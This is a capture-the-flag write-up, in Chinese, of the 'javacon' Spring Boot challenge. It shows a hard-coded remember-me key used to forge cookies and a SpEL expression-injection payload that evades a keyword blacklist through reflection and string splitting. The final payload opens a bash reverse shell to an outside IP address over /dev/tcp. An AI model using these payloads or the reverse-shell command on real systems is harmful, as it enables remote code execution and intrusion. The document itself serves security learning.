code-breaking javacon wp

题目描述

解题步骤

下载jar源码拖到JD-GUI反编译

从SpringBoot的配置 application.yml看起

1
2
3
4
5
6
7
8
9
10
11
12
13
14
spring:
thymeleaf:
encoding: UTF-8
cache: false
mode: HTML
keywords:
blacklist:
- java.+lang
- Runtime
- exec.*\(
user:
username: admin
password: admin
rememberMeKey: c0dehack1nghere1

提供了一个黑名单以及一个用户

  • SmallEvaluationContext 继承 StandardEvaluationContext,主要是提供一个上下文环境,相当于一个容器。
  • ChallengeApplication 用于启动
  • Encryptor 加密解密工具类
  • KeyworkProperties 使用黑名单时需要
  • UserConfig 用户模型,可以看到在RemberMe时使用了Encryptor

在MainController下看路由及对应操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@GetMapping
public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue, HttpSession session, Model model) {
if (rememberMeValue != null && !rememberMeValue.equals("")) {
String username = this.userConfig.decryptRememberMe(rememberMeValue);
if (username != null) {
session.setAttribute("username", username);
}
}

Object username = session.getAttribute("username");
if (username == null || username.toString().equals("")) {
return "redirect:/login";
}

model.addAttribute("name", getAdvanceValue(username.toString()));
return "hello";
}

如果存在键名为remember-me的cookie,并将它decrypt得到username
根进userConfig.decryptRememberMe方法

1
2
public String encryptRememberMe() { return Encryptor.encrypt(this.rememberMeKey, "0123456789abcdef", this.username); }
public String decryptRememberMe(String encryptd) { return Encryptor.decrypt(this.rememberMeKey, "0123456789abcdef", encryptd); }

remeberMeKey可以在application.yml中找到
这意味着username可以随意伪造
接下来看到getAdvanceValue(username.toString())

1
2
3
4
5
6
7
8
9
10
11
12
13
private String getAdvanceValue(String val) {
for (String keyword : this.keyworkProperties.getBlacklist()) {
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
}
}

TemplateParserContext templateParserContext = new TemplateParserContext();
Expression exp = this.parser.parseExpression(val, templateParserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();
}

首先会与application.yml中的黑名单进行正则匹配,如果没有匹配到则进行正常流程,在SmallEvaluationContext进行SpEL表达式解析.
这里存在的EL表达式注入
这里需要用到反射,先来了解一下反射
这段代码会打开mac的计算机

1
2
3
4
5
6
public class ExecTest {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
runtime.exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
}
}

相应的反射代码如下

1
2
3
4
5
6
7
8
import java.lang.reflect.Method;

public class ExecTest {
public static void main(String[] args) throws Exception{
Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
//System.out.println(runtime.getClass().getName());
Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"/Applications/Calculator.app/Contents/MacOS/Calculator");
}
  • getMethod(方法名, 方法类型)
  • invoke(某个对象实例, 传入参数)

这里第一句Object runtime =Class.forName("java.lang.Runtime")的作用
等价于 Object runtime = Runtime.getRuntime()
目的是获取一个对象实例好被下一个invoke调用

第二句Class.forName("java.lang.Runtime").xxxx的作用就是调用上一步生成的runtime实例的exec方法,并将/Applications/Calculator.app/Contents/MacOS/Calculator参数传入exec()方法
利用反射来构造一条调用链绕过黑名单

1
String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),"/Applications/Calculator.app/Contents/MacOS/Calculator");

其实他执行的就是Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator")
接下来构造成SpEl的解析格式,把String.class改成T(String)

1
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","sh -i &>/dev/tcp/118.24.3.214/7777 0>&1"})}

然后加密放到rember-me

拿到shell